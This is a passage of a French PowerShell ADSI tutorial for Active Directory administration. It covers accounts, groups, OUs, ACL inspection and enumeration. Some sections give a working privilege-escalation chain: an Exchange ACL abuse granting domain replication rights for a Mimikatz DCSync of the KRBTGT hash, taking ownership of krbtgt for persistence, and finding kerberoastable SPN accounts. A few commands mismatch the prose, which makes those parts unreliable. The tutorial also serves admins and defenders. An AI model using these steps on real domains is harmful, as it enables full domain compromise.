Voici un autre exemple dans lequel nous activons l'option "Le mot de passe n'expire jamais".

Saisir les commandes suivantes :

[ADSI]$ADSI = "LDAP://CN=AnthonySmith,OU=LHW,DC=contoso,DC=com"
$ADSI.put(“userAccountControl”,65536)
$ADSI.setinfo()

65336 est la valeur de l'attribue userAccountControl, et elle signifie "DONT_EXPIRE_PASSWORD", ce qui est équivalent à "Le mot de passe n'expire jamais".

Voici le résultat obtenu :

# 2.3 Create computer account

# Résumé

Dans ce chapitre nous allons créer un compte d'ordinateur dans l'AD, ce qui ne diffère pas énormément de la création d'un compte utilisateur.

Saisir les commandes suivantes :

[ADSI]$OU = "LDAP://CN=Computers,DC=contoso,DC=com"
$new = $OU.Create("computer","CN=TestPC")
$new.put("samaccountname","TestPC$")
$new.setinfo()
$new.put("userAccountControl",4096)
$new.setpassword("MyShitPassw0rd!")
$new.setinfo()

Nous avons ajouté un ordinateur au container "Computers" et crée un compte d'ordinateur nommé "TestPC".
Vous remarquerez que le nom du compte se termine par le symbole "$", en effet ce symbole est requis sinon vous ne pourrez pas créer un compte pour une machine.

Nous avons aussi ajouté la valeur 4096 à l'attribue userAccountControl, ce qui est équivalent à "WORKSTATION_TRUST_ACCOUNT".

Saisir la commande suivante :

$ChildItems = ([ADSI]"LDAP://CN=Computers,DC=contoso,DC=com");$ChildItems.psbase.Children | Format-Table samAccountName

Nous pouvons voir que le compte d'ordinateur a bien été créer dans le container "Computers".

Nous allons maintenant configurer le compte d'ordinateur pour de la délégation sans contrainte.
Il n'est pas recommandé d'avoir une telle configuration dans un environnement de production, nous le faisons juste pour des fins de démonstrations sur des serveurs de tests.

Saisir les commandes suivantes :

[ADSI]$ADSI = "LDAP://CN=TestPC,CN=Computers,DC=contoso,DC=com"
$ADSI.put(“userAccountControl”,524288)
$ADSI.setinfo()

Saisir la commande suivante :

[adsi]"LDAP://CN=TestPC,CN=Computers,DC=contoso,DC=com" | Format-List samAccountName, userAccountControl

Nous pouvons voir notre machine :

Saisir la commande suivante :

([adsisearcher]'(&(objectCategory=computer)(!(primaryGroupID=516)(userAccountControl:1.2.840.113556.1.4.803:=524288)))').FindAll()

Nous pouvons voir que le compte de notre machine est bien configuré pour de la délégation sans contrainte.

# 2.4 Créer une nouvelle OU - Unité d'Organisation

# Résumé

Dans ce chapitre nous allons voir comment créer une nouvelle OU.

Pour créer une nouvelle OU, nous devons spécifier le domaine dans lequel la créer, et le nom à donner à l'OU.
Dans notre exemple nous allons créer une OU nommée "CyberSecurity".

Saisir les commandes suivantes :

$TargetOU = [adsi]'LDAP://DC=contoso,DC=com'
$NewOU =
$TargetOU.Create('organizationalUnit','ou=CyberSecurity')
$NewOU.SetInfo()

Nous pouvons voir que notre OU est bien crée :

Maintenant nos allons créer une OU "enfant" au sein de l'OU "CyberSecurity".

Saisir les commandes suivantes :

$TargetOU = [adsi]'LDAP://OU=CyberSecurity,DC=contoso,DC=com'
$NewOU = $TargetOU.Create('organizationalUnit','ou=InfoSec')
$NewOU.SetInfo()

Nous venons de créer l'OU enfant nommée "InfoSec" au sein de l'OU "CyberSecurity".

Saisir les commandes suivantes :

$ChildItems = ([ADSI]"LDAP://OU=CyberSecurity,DC=contoso,DC=com") 
$ChildItems.psbase.Children | Format-Table name, objectClass

Nous pouvons voir que l'OU "InfoSec" est bien présente :

# 2.5 Ajouter un utilisateur à un groupe

# Résumé

Nous allons ajouter l'utilisateur "Jorge Masvidal" au groupe Administrateurs du domaine (Domain Admins).

Nous pouvons voir le chemin LDAP de l'utilisateur :

Pour ajouter un utilisateur à un groupe, nous avons besoin de connaitre les informations suivantes :

  • le chemin LDAP de l'utilisateur

  • le chemin LDAP du groupe

Dans notre cas les chemins LDAP sont les suivants :

  • Utilisateur : LDAP://CN=Jorge Masvidal,OU=WW,DC=contoso,DC=com

  • Groupe : LDAP://CN=Domain Admins,CN=Users,DC=contoso,DC=com

Saisir les commandes suivantes :

$user = [adsi]"LDAP://CN=JorgeMasvidal,OU=WW,DC=contoso,DC=com"
$group = [adsi]"LDAP://CN=DomainAdmins,CN=Users,DC=contoso,DC=com"
$group.add($user.path)

Nous venons d'ajouter l'utilisateur Masvidal au groupe Administrateurs du domaine (Domain Admins).

Saisir la commande suivante :

([adsisearcher]'(memberOf=cn=DomainAdmins,cn=Users,dc=contoso,dc=com)').FindAll()

Nous avons la confirmation que l'utilisateur Jorge Masvidal fais bien partie du groupe Domain Admins.

# 2.6 Ajouter un utilisateur au groupe administrateur local

# Résumé

Dans ce chapitre nous allons voir comment ajouter un utilisateur au groupe administrateur local en utilisant le fournisseur ADSI WinNT.

Pour effectuer cette opération nous avons besoin de spécifier deux éléments

  • la machine cible

  • le FQDN (Full Qualified Domain Name = Nom complet du domaine)

Dans notre exemple souhaitons ajouter l'utilisateur "Covington" au groupe administrateur local sur le poste nommé "server".

Saisir les commandes suivantes :

$adsi = [ADSI]"WinNT://Server/administrators,group"; $adsi.add("WinNT://contoso.com/Covington,group")

Nous venons d'ajouter l'utilisateur "Covington" au groupe administrateur local du la machine nommée "server".

# 2.7 Afficher les administrateurs locaux sur une machine distante

# Résumé

Dans cette section nous allons voir comment afficher les administrateurs locaux sur une machine distante, en d'autres termes comment voir les membres du groupe administrateur local sur un poste distant.

Pour cela, saisir les commandes suivantes :

$LocalGroup =[ADSI]"WinNT://Server/Administrators"
$UserNames = @($LocalGroup.psbase.Invoke("Members"))
$UserNames | foreach {$_.GetType().InvokeMember("Name",'GetProperty', $null, $_, $null)}

Comme vous pouvez le constater, nous affichons les membres du groupe administrateur sur la machine distante nommée "server".

Dans le chapitre précédent nous avons ajouté l'utilisateur "Covington" au groupe administrateur local sur la machine nommée "server" et ci-dessous nous avons bien la confirmation qu'il faut bien parti du groupe.

# 2.8 Créer un compte sur un poste local et sur une machine distante

# Résumé

Dans ce chapitre nous allons voir comment créer un compte sur un poste local et sur une machine distante.

Pour créer un compte sur un poste local, saisir les commandes suivantes en tant qu'administrateur :

$Computer = [ADSI]"WinNT://localhost,Computer"
$LocalAdmin = $Computer.Create("User", "LocalAdmin")
$LocalAdmin.SetPassword("Password01")
$LocalAdmin.SetInfo()
$LocalAdmin.UserFlags = 65536
$LocalAdmin.SetInfo()

Nous venons de créer le compte nommé "LocalAdmin", ayant comme mot de passe "Password01" et la valeur "65536" de l'attribut UserFlags, ce qui signifie que le mot de passe n'expire jamais.

Pour créer un compte local sur une machine distante, saisir les commandes suivantes :

$Computer = [ADSI]"WinNT://Server,Computer" 
$LocalAdmin = $Computer.Create("User", "LocalAdmin")
$LocalAdmin.SetPassword("Password01")
$LocalAdmin.SetInfo()
$LocalAdmin.UserFlags = 65536 + 64
$LocalAdmin.SetInfo()

Dans cet exemple, nous venons de créer un compte local sur la machine distante nommée "server".
Le mot de passe du compte est "Password01" et l'attribue UserFlags a pour valeur "65536 & 64" ce qui signifie que le mot de passe ne peut pas être changé.

# 2.9 Afficher les comptes locaux sur un poste local et distant

# Résumé

Dans cette section nous allons voir comment afficher les comptes locaux sur un poste local, mais aussi sur un poste distant.

Pour afficher les comptes locaux sur une machine locale, saisir les commandes distantes :

$adsi = [ADSI]"WinNT://localhost"
$adsi.Children | where {$_.SchemaClassName -eq 'user'}

Nous pouvons voir les comptes locaux, dont celui que nous avons créés quelques chapitres plus haut.

Pour afficher les comptes locaux d'une machine distante, saisir les commandes suivantes :

$adsi = [ADSI]"WinNT://server"
$adsi.Children | where {$_.SchemaClassName -eq 'user'}

Nous avons la liste de tous les comptes locaux se trouvant sur la machine distante nommée "server".
Pour obtenir ces résultats nous devons être administrateur local sur le poste distant.

Nous pourrions ajouter le cmdlet "Format-List" pour obtenir les valeurs de lastlogin et userflags pour les comptes également.

Saisir les commandes suivantes :

$adsi = [ADSI]"WinNT://server"
$adsi.Children | where {$_.SchemaClassName -eq 'user'} | FormatList name, userflags, lastlogin

# 2.10 Réinitialiser le mot de passe d'un compte AD

# Résumé

Dans cette section nous allons voir comment réinitialiser le mot de passe d'un compte AD.

Pour réinitialiser un mot de passe, l'administrateur doit disposer de GenericAll ou éqivalent tels que

  • UserForce-Change-Password

  • AllExtendedRight

Saisir les commandes suivantes :

$adsi = [adsi]"LDAP://CN=JorgeMasvidal,OU=WW,DC=contoso,DC=com"
$adsi.Invoke("SetPassword", "MyShitPassw0rd!")
$adsi.setinfo()

Nous venons de réinitialiser le mot de passe de l'utilisateur "Masvidal" qui se trouve dans l'OU nommée "WW".

# 2.11 Réinitialiser le mot de passe des comptes locaux

# Résumé

Dans cette section nous allons réinitialiser le mot de passe d'un compte local à la poste sur un poste local et à la fois sur un poste distant.

Pour faire cela il faut avoir les droits administrateur local.

Dans cet exemple nous allons réinitialiser le mot de passe du compte "LocalAdmin".

Saisir la commande suivante :

([adsi]"WinNT://localhost/LocalAdmin,user").SetPassword('TeribblePassw0rd!')

Nous pouvons voir que le mot de passe du compte a bien changé.

# 2.12 Désactiver un compte AD

# Résumé

Dans cette section nous allons voir comment désactiver un compte AD.

Saisir les commandes suivantes :

[ADSI]$ADSI = "LDAP://CN=JorgeMasvidal,OU=WW,DC=contoso,DC=com"
$ADSI.put(“userAccountControl”,514)
$ADSI.setinfo()

Le compte de l'utilisateur "Jorge Masvidal" est désormais désactivé.

Admettons que nous souhaitons désactiver un compte tout en souhaitant que le mot de passe n'expire pas.

Saisir les commandes suivantes :

[ADSI]$ADSI = "LDAP://CN=JorgeMasvidal,OU=WW,DC=contoso,DC=com"
$ADSI.put(“userAccountControl”,514 + 65536)
$ADSI.setinfo()

Voici une meilleure approche pour désactiver puis activer le compte.

Saisir les commandes suivantes :

[ADSI]$ADSI = "LDAP://CN=JorgeMasvidal,OU=WW,DC=contoso,DC=com"
$ADSI.psbase.InvokeSet('AccountDisabled', $true)
$ADSI.SetInfo()

Remarque : si vous souhaitez activer / désactiver à nouveau le compte, il faudra juste modifier la valeur "true" ou "false".

# 2.13 Obtenir les objets enfants d'une OU et d'un container

# Résumé

Dans cette section nous allons voir comment obtenir les objets enfants d'une unité d'organisation et d'un container.

Pour obtenir tous les objets enfants d'une OU, nous pouvons utiliser la méthode "get_children()".

Supposons que nous souhaitons obtenir les objets enfants de l'OU "WW", nous allons utiliser les commandes suivantes :

$OU = [ADSI]"LDAP://ou=WW,dc=contoso,dc=com"
$OU.Get_Children()

# 2.14 Déplacer un objet dans une autre OU

# Résumé

Dans cette section nous allons voir comment déplacer un objet vers une autre OU.

Dans notre exemple nous souhaitons déplacer l'utilisateur "Masvidal" se trouvant dans l'OU "WW" vers l'OU "LW".

Saisir les commandes suivantes :

$OU=[ADSI] "LDAP://OU=LW,DC=contoso,DC=com" 
$OU.MoveHere("LDAP://CN=JorgeMasvidal,OU=WW,DC=contoso,DC=com", "cn=Jorge Masvidal")

Nous spécifions le chemin LDAP de l'OU où se trouve l'utilisateur ainsi que le chemin LDAP de l'OU vers laquelle nous souhaitons déplacer l'objet "utilisateur".

Nous constatons que l'utilisateur a bien changé d'OU :

# 2.15 Modifier les propriétés LDAP sur plusieurs comptes utilisateurs

# Résumé

Il se peut que vous ayez besoin de changer les informations pour plusieurs utilisateurs se trouvant dans la même OU.
Il est tout à fait possible de le faire utilisateur par utilisateur mais cela peut prendre un certain temps, nous allons voir comment automatiser ce processus.

Supposons qu'on souhaite ajouter la description suivante "170lbs Fighter" à tous les utilisateurs se trouvant dans l'OU nommée "WW".

Saisir les commandes suivantes :

$OU = [ADSI]"LDAP://ou=WW,dc=contoso,dc=com"
$Child = $OU.Get_Children()
ForEach ($User In $Child)
{
    If ($User.Class -eq "user")
    {
        $User.Put("Description", "170lbs Fighter")
        $User.SetInfo()
    }
}

Nous pouvons constater que la description a bien changée pour tous les utilisateurs se trouvant dans l'OU nommée "WW".

Si nous souhaitons changer le mot de passe pour tous les utilisateurs se trouvant de l'OU, saisir les commmandes suivantes :

$OU = [ADSI]"LDAP://ou=WW,dc=contoso,dc=com"
$Child = $OU.Get_Children()
ForEach ($User In $Child)
{
    If ($User.Class -eq "user")
    {
        $User.Invoke("SetPassword", "MyTerriblePassw0rd!")
        $User.SetInfo()
    }
}

Si nous souhaitons supprimer tous les utilisateurs de l'OU, saisir les commandes suivantes :

$OU = [ADSI]"LDAP://ou=LW,dc=contoso,dc=com"
$Child = $OU.Get_Children()
ForEach ($User In $Child)
{
    If ($User.Class -eq "user")
    {
        $User.DeleteTree()
        $User.SetInfo()
    }
}

# 2.16 Trouver les utilisateurs qui ne se sont pas connectés dans les 7 jours

# Résumé

Il arrive qu'on nous demande de fournir une liste des utilisateurs ne s'étant pas connectés dans un intervalle de 7 jours ou bien les utilisateurs n'ayant pas changé leur mot de passe durant les 30 derniers jours.

Pour obtenir ces informations nous pouvons utiliser la méthode PowerShell "ToFileTime".

Pour avoir la liste des utilisateurs ne s'étant pas connectés les 7 derniers jours, saisir la commande suivante :

([adsisearcher]"(&(objectcategory=user)(lastlogontimestamp<=$((Get-Date).AddDays(-7).ToFileTime())))").findall()

Dans notre cas, nous obtenons 3 utilisateurs correspondant à nos critères de recherche :

Pour avoir la liste des utilisateurs n'ayant pas changé de mot de passe depuis 7 jours, il suffit de changer l'attribut lastlogonTimestamp par pwdLastSet.

Saisir la commande suivante :

([adsisearcher]"(&(objectcategory=user)(pwdLastSet<=$((GetDate).AddDays(-7).ToFileTime())))").findall()

Nous obtenons la liste des utilisateurs n'ayant pas changé de mot de passe durant les 7 derniers jours :

Effectuons maintenant une recherche plus précise, cette fois-ci en cumulant les deux critères suivants

  • les utilisateurs n'ayant pas changé de mot de passe depuis les 7 derniers jours

  • les utilisateurs se trouvant dans l'OU nommée "LHW".

Saisir les commandes suivantes :

$adsi = [adsisearcher]"(&(objectcategory=user)(pwdLastSet<=$((Get-Date).AddDays(-7).ToFileTime())))"
$adsi.searchRoot = [adsi]"LDAP://OU=LHW,DC=contoso,DC=com"
$adsi.FindAll()

Nous obtenons cette fois uniquement 3 résultats correspondant à nos deux critères de recherche :

# 2.17 Sélectionner des attributs d'horodatage des utilisateurs situés dans une OU spécifique

# Résumé

Dans le chapitre précédent nous nous sommes intéressés au cas où les utilisateurs qui n'avaient pas changé de mot de passe depuis les 7 derniers jours.

Dans le cas présent nous allons nous intéresser aux utilisateurs se trouvant dans une OU précise, nommée "LHW".

Saisir les commandes suivantes :

$as = [adsisearcher]"(&(objectcategory=user)(pwdLastSet<=$((GetDate).AddDays(-7).ToFileTime())))"
$as.searchRoot = [adsi]"LDAP://OU=LHW,DC=contoso,DC=com"
$as.PropertiesToLoad.Add('name')
$as.PropertiesToLoad.Add('pwdLastSet')
$as.FindAll() | ForEach-Object {
$props = @{ 'name' = ($_.properties.item('name') | Out-String).Trim()
'pwdLastSet' = ([datetime]::FromFiletime(($_.properties.item('pwdLastSet') | OutString).Trim())) }
New-Object psObject -Property $props
}

Nous obtenons les utilisateurs de l'OU "LHW" qui n'ont pas changé de mot de passe depuis les 7 derniers jours :

# 3. Manipulation des ACL

# 3.1 Afficher les autorisation ACL sur les objets AD

# Résumé

Dans ce chapitre nous allons voir comment voir les permissions ACL sur les objets AD.

Dans l'exemple nous allons voir les permissions ACL se trouvant sur le groupe "Exchange Windows Permissions".

Saisir les commandes suivantes :

$GroupObject=[ADSI]"LDAP://CN=Exchange WindowsPermissions,OU=Microsoft Exchange SecurityGroups,DC=contoso,DC=com"
$GroupObject.psbase.get_ObjectSecurity().getAccessRules($true,$true, [system.security.principal.NtAccount])

Si nous cherchons les ACE qui ont des permissions "GenericAll" sur le groupe "Exchange Windows Permisisons", saisir les commandes suivantes :

$GroupObject=[ADSI]"LDAP://CN=Exchange WindowsPermissions,OU=Microsoft Exchange SecurityGroups,DC=contoso,DC=com"
$GroupObject.psbase.get_ObjectSecurity().getAccessRules($true,$true, [system.security.principal.NtAccount]) |?ActiveDirectoryRights -Match "GenericAll"

Nous obtenons bien les ACE avec les permisisons "GenericAll" :

Exchange s'implémente profondément dans l'AD, donc l'exploitation des groupes administrateurs Exchange peut mener à une compromossions totale d'un Active Directory.

Concentrons-nous sur les ACE qui ont les permissions "GenericAll", outre les administrateurs de domaine et les administrateurs d'entreprise.

Saisir les commandes suivantes :

$GroupObject=[ADSI]"LDAP://CN=Exchange WindowsPermissions,OU=Microsoft Exchange SecurityGroups,DC=contoso,DC=com"
$GroupObject.psbase.get_ObjectSecurity().getAccessRules($true,$true, [system.security.principal.NtAccount]) |? IdentityReference - Match "Organization Management" |? ActiveDirectoryRights -Match "GenericAll"

Nous pouvons constater que Organization Management a les permisions ""GenericAll" sur le groupe Exchange Windows Permisisons :

# 3.2 Obtenir la possession d'un objet AD

# Résumé

Dans ce chapitre nous allons voir comment obtenir la possession d'un objet AD.

Supposons que nous souhaitions prendre possession du groupe Administrateur du domaine (Domain Admins).

Pour faire cela, saisir la commande suivante :

([ADSI]"LDAP://CN=Domain Admins,CN=Users,DC=contoso,DC=com").PSBase.get_ObjectSecurity().GetOwner([System.Security.Principal.NTAccount]).Value

Nous pouvons voir à qui appartient le groupe Domain Admins :

# 3.3 Prendre possession d'un objet AD

# Résumé

Dans ce chapitre nous allons voir comment prendre possession d'un objet AD, en nous attribuant les droits de celui-ci.

Nous allons prendre possession du groupe Domain Admins.

Supposons que nous soyons membre du groupe Domain Admins, mais pour s'assurer de la persistance, nous souhaitions prendre le contrôle des droits de ce groupe.

Dans l'exemple nous allons rendre Jones propriétaire du groupe.

Saisir les commandes suivantes :

$adsi = [adsi]"LDAP://CN=krbtgt,CN=Users,DC=contoso,DC=com"
$identity = New-Object System.Security.Principal.NTAccount("Jones")
$adsi.PSBase.ObjectSecurity.SetOwner($identity)
$adsi.PSBase.CommitChanges()

Comme nous pouvons le constater, l'utilisateur Jones est bien propriétaire du groupe Domain Admins :

# 3.4 Abuser des autorisations ACL

# Résumé

Nous allons voir un exemple de cas concret qui peut mener à la compromission d'un AD en passant par une configuration précise de Exchange.

Saisir les commandes suivantes :

$GroupObject=[ADSI]"LDAP://CN=Exchange WindowsPermissions,OU=Microsoft Exchange SecurityGroups,DC=contoso,DC=com"
$GroupObject.psbase.get_ObjectSecurity().getAccessRules($true,$true, [system.security.principal.NtAccount]) |? IdentityReference - Match "Organization Management" |? ActiveDirectoryRights -Match "GenericAll"

Nous pouvons voir que Organization Management possède les droits "GenericAll" sur Exchange Windows Permissions :

Prenons le cas où l'utilisateur Jon Jones est membre des groupes

  • Exchange Admin

  • Organization Management

Le groupe Organization Management a tous les droits sur le groupe Exchange, ce qui signifie que nous pouvons nous mêmes nous ajouter au groupe Exchange Windows Permissions.

Saisir les commandes suivantes :

$user = [adsi]"LDAP://CN=Jon Jones,OU=LHW,DC=contoso,DC=com"
$group = [adsi]"LDAP://CN=Exchange WindowsPermissions,OU=Microsoft Exchange SecurityGroups,DC=contoso,DC=com"
$group.add($user.path)

Saisir les commandes suivantes :

$ADobject = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
$ADobject=[ADSI]"LDAP://$ADobject"; $ADobject.psbase.get_ObjectSecurity().getAccessRules($true, $true,[system.security.principal.NtAccount]) |? IdentityReference -Match "Exchange Windows Permissions" |? ActiveDirectoryRights -Match "WriteDacl"

Nous pouvons constater que le groupe Exhcange Windows Permissions possède les droits "WriteDacl" (Modifier les permissions) sur Domain Naming Context.

Avoir autant de droits, assure à l'utilisateur le pouvoir de s'attribuer soi-même des permissions sur un objet.

Nous allons désormais nous attribuer les droits "ExtendedRight", ce qui signifie qu'on pourra notamment avoir les droits de réplication sur les secrets AD.

Saisir les commandes suivantes :

$ADSI = [ADSI]"LDAP://DC=contoso,DC=com"
$IdentityReference = (New-ObjectSystem.Security.Principal.NTAccount("Jones")).Translate([System.Security.Principal.SecurityIdentifier])
$ACE = New-ObjectSystem.DirectoryServices.ActiveDirectoryAccessRule$IdentityReference,"ExtendedRight","Allow"
$ADSI.psbase.ObjectSecurity.SetAccessRule($ACE)
$ADSI.psbase.commitchanges()

Nous pouvons constater que l'utilisateur Jon Jones possède bien les droits de réplication :

  • Replicating Directory Changes

  • Replicating Directory Changes All

Nous pouvons ainsi utiliser des outils tel que Mimikatz pour lancer une attaque DCSync dans le but d'obtenir le hash NT du compte KRBTGT par exemple.

# 4. Énumération

# 4.1 Énumération des serveurs avec une délégation sans contrainte

# Résumé

Comme nous le savons ce type de serveurs supportent une configuration peu sécurisée, ainsi si un attaquant prend le contrôle de ce type de serveur il peut s'en servir pour ses besoins futurs.

Pour obtenir la liste des serveurs qui sont configurés avec une délégation sans contrainte, saisir la commande suivante :

Remarque : nous avons exclus les contrôleurs de domaine de la recherche, car ils doivent être configurés pour de la délégation sans contrainte.

([adsisearcher]'(&(objectCategory=computer)(!(primaryGroupID=516)(userAccountControl:1.2.840.113556.1.4.803:=524288)))').FindAll()

Nous obtenons bien la liste des serveurs correspondant à nos critères de recherche :

# 4.2 Énumération des comptes avec la valeur "adminCount=1"

# Résumé

Généralement les utilisateurs dont la valeur adminCount=1, sont des utilisateurs protégés par AdminSDHolder.

Tous les utilisateurs de AdminSDHolder sont des membres de groupes tels que

  • Domain Admins (Administrateurs du domaine)

  • Enterprise Admins (Administrateurs de l'entreprise)

  • Administrators (Administrateurs)

  • Backup Operators (Opérateurs de sauvegarde)

  • Account Operators (Opérateurs de comptes)

  • Server Operators (Opérateurs de serveur)

  • Print Operators (Opérateurs d'impression)

  • ...

Pour obtenir la liste des utilisateurs protégés par AdminSDHolder, saisir la commande suivante :

([adsisearcher]'(&(objectClass=user)(adminCount=1))').FindAll()

Supposons qu'on souhaite obtenir les comptes de services avec un SPN qui peut être utilisé pour obtenir leur TGS afin d'effectuer un bruteforce du mot de passe.

Nous allons chercher des comptes qui ont un SPN dont la valeur "adminCount=1".

Saisir la commande suivante :

([adsisearcher]'(&(objectClass=user)(servicePrincipalName=*)(!(samaccountname=krbtgt)(adminCount=1)))').FindAll()

Dans la recherche nous avons exclus le compte KRBTGT, toutefois nous avons tous les comptes avec SPN, dont la valeur "adminCount=1" :

# 4.3 Énumération de la politique du mot de passe

# Résumé

Pour obtenir les politiques du mot de passe, nous allons utiliser deux attributs

  • lockoutThreshold

  • lockoutDuration

Mais pour obtenir une valeur lisible, il faut convertir les résultats obtenus en utilisant la méthode ConvertLargeIntegerToInt64.

Saisir les commandes suivantes :

$DNC = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
$DNC = [adsi]"LDAP://$DNC"
[PSCustomObject] @{
lockoutThreshold = $DNC.lockoutThreshold.Value
lockoutDuration = $DNC.ConvertLargeIntegerToInt64($DNC.lockoutDuration.Value) / ( - 600000000)
lockOutObservationWindow = $DNC.ConvertLargeIntegerToInt64($DNC.lockOutObservationWindow.Value) / ( - 600000000)
}

Nous obtiendrons les politiques de domaine suivantes :

  • lockoutTreshold (seuil de verrouillage = à partir de combien de tentatives le compte est verrouillé)

  • lockoutDuration (durée de verrouillage = période durant laquelle le compte est verrouillé)

# 4.4 Énumération des zone DNS de l'AD

# Résumé

Les zones DNS dans l'AD se trouvent dans le container RootDNSServers.

Dans un premier temps nous pouvons chercher les objets enfants de ce container, ainsi on obtiendra tous les enregistrements DNS.

Saisir les commandes suivantes :

$ADSI = ([ADSI]"LDAP://DC=RootDNSServers,CN=MicrosoftDNS,CN=System,DC=contoso,DC=com") 
$ADSI.psbase.Children | Format-Table name

Nous obtenons tous les enregistrements DNS présents dns l'AD :

Une autre manière d'obtenir les enregistrements, est possible en utilisant la commande suivante :

([adsisearcher]'(objectClass=dnsnode)').FindAll()

Nous obtenons bien la liste des enregistrements DNS, sous une autre forme cette fois :

# 4.5 Énumération de tous les sous-réseaux

# Résumé

Dans ce chapitre nous allons énumérer tous les sous-réseaux se trouvant dans l'AD.

Dans le contexte actuel, les sous réseaux sont des plages IP qui sont associées à des sites AD.

Pour obtenir la liste de tous les sous-réseaux, nous devons interroger les objets enfants du container sous-réseaux.

Le container "CN=Subnet" est l'enfant du container "CN=Sites".

Saisir les commandes suivantes :

$ADSI = ([ADSI]"LDAP://CN=Subnets,CN=Sites,CN=Configuration,DC=contoso,DC=com") 
$ADSI.psbase.Children | Format-Table name

Nous obtenons les sous-réseaux dans l'AD :

# 4.6 Énumération des comptes qui ne requièrent pas de mot de passe

# Résumé

Dans l'AD il est possible de spécifier de ne pas requérir de mot de passe pour un compte, toutefois cela ne signifie pas que le compte ne possède pas de mot de passe, cela autorise simplement l'utilisation d'un mot de passe "vide".

Pour obtenir les comptes correspondants à ces critères, saisir la commande suivante :

([adsisearcher]'(&(objectCategory=person)(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=32))').FindAll()

Si vous pouvs posez la question de pourquoi on utilise la valeur "32" dans la requête, voici l'explication provenant de la documentation Microsoft :

# 4.7 Énumération des administrateurs du domaine

# Résumé

Le groupe Domain Admin (Administrateurs du domaine) se trouve dans le container Users.

Saisir la commande suivante :

([adsisearcher]'(memberOf=cn=DomainAdmins,CN=Users,dc=contoso,dc=com)').FindAll()

Nous obtenons la liste des membres du groupe Domain Admins :

Pour cet exemple cherchons plutôt les Enterprise Admins (Administrateurs de l'entreprise).
Puisque ce groupe également présent dans le container Users nous avons juste besoin de modifier la commande en remplaçant "Domain Admin" par "Enterprise Admin".

Saisir la commande suivante :

([adsisearcher]'(memberOf=cn=EnterpriseAdmins,CN=Users,dc=contoso,dc=com)').FindAll()

Nous obtenons bien la liste des membres du groupe Enterprise Admin :

# 4.8 Énumération des ACL du container MicrosoftDNS

# Résumé

Dans ce chapitre nous allons énumérer les ACL se trouvant dans le container MicrosoftDNS.

Des mauvaises permissions appliquées sur ce container peuvent mener à une élévation de privilèges.

Pour en savoir plus, je vous recommande de regarder en détails cet article :

https://medium.com/techzap/dns-admin-privesc-in-active-directory-ad-windows-ecc7ed5a21a2

Saislr les commandes suivantes :

$ADSI=[ADSI]"LDAP://CN=MicrosoftDNS,CN=System,DC=contoso,DC=com"
$ADSI.psbase.get_ObjectSecurity().getAccessRules($true, $true,[system.security.principal.NtAccount])

Nous venons d'énumérer toutes les ACL du container MicrosoftDNS :

Comme précisé dans l'article ci-dessus, pour exploiter cette vulnérabilité il faut avoir les droits "GenericAll" ou équivalents.

Saisir les commandes suivantes :

$ADSI=[ADSI]"LDAP://CN=MicrosoftDNS,CN=System,DC=contoso,DC=com"
$ADSI.psbase.get_ObjectSecurity().getAccessRules($true, $true,[system.security.principal.NtAccount]) |? ActiveDirectoryRights - Match "GenericWrite"

Nous pouvons constater que les ACE possèdent les droits "GenericAll" sur le container MicrosoftDNS :

Remarque : si vous souhaitez savoir qui a les droits "Full control" (contrôle totale), il faut remplacer "la valeur GenericWrite" avec "GenericAll".

# 4.9 Énumération des ACl sur AdminSDHolder

# Résumé

AdminSDHolder est un container AD, qui contient principalement la liste des permissions sur des objets ayant des privilèges élevés.

Ces groupes sont identifiables via l'attribut adminCount qui a pour valeur 1.

Saisir les commandes suivantes :

$ADSI=[ADSI]"LDAP://CN=AdminSDHolder,CN=System,DC=contoso,DC=com"
$ADSI.psbase.get_ObjectSecurity().getAccessRules($true, $true,[system.security.principal.NtAccount])

Nous obtenons la liste des ACL du containter AdminSDHolder :

Pour connaitre les utilisateurs qui ont les permissions "contrôle total" sur le container AdminSDHolder, saisir les commandes suivantes :

$ADSI=[ADSI]"LDAP://CN=AdminSDHolder,CN=System,DC=contoso,DC=com"
$ADSI.psbase.get_ObjectSecurity().getAccessRules($true, $true,[system.security.principal.NtAccount]) |? ActiveDirectoryRights - Match "GenericAll"

Ici nous avons un exemple d'utilisateur qui ne devrait pas avoir ces permissions :

Remarque : pour trouver les utilisateurs qui ont les droits d'écriture sur l'objet, dans la commande il faut remplacer la valeur "GenericAll" par "GenericWrite".

# 4.10 Conclusion

Comme vous avez pu le voir tout au long du document, l'utilisation de ADSI n'est pas compliquée et par moments préférables aux outils RSAT.

En plus de cela, pourquoi ajouter des outils supplémentaires alors que vous pouvez administrer de manière native l'AD.

La compréhension de l'ADSI est bénéfique pour les Administrateurs, pour deux raisons principales

  • on peut l'utiliser sur toutes les machines

  • c'est rapide à l'utiliser, tout comme les outils RSAT

Connaitre et apprendre à utiliser ADSI n'est pas forcément réservé aux Administrateurs, qui que vous soyez cela va pour permettre de gagner en compétences.

Même si vous travaillez dans une équipe Sécurité (Blue Team, Red Team ...) il peut vous être utile de savoir utiliser l'ADSI, pour des opérations de sécurité sur l'AD notamment.
Certaines requêtes vous aideront même à avoir plus de détails sur l'installation, la configuration des éléments.

Pour les Red Team il peut être intéressant de maitriser l'ADSI, pour des besoins d'énumération tout en restant cachés des EDR (Endpoint Detection and Response) et SIEM (security Information and Event Management).

PS : Pour cette raison il est fortement recommandé d'activer la journalisation PowerShell.

# References

https://devblogs.microsoft.com/scripting/use-powershell-to-query-active-directory-from-the-console/

https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces

https://social.technet.microsoft.com/wiki/contents/articles/5392.active-directory-ldap-syntax-filters.aspx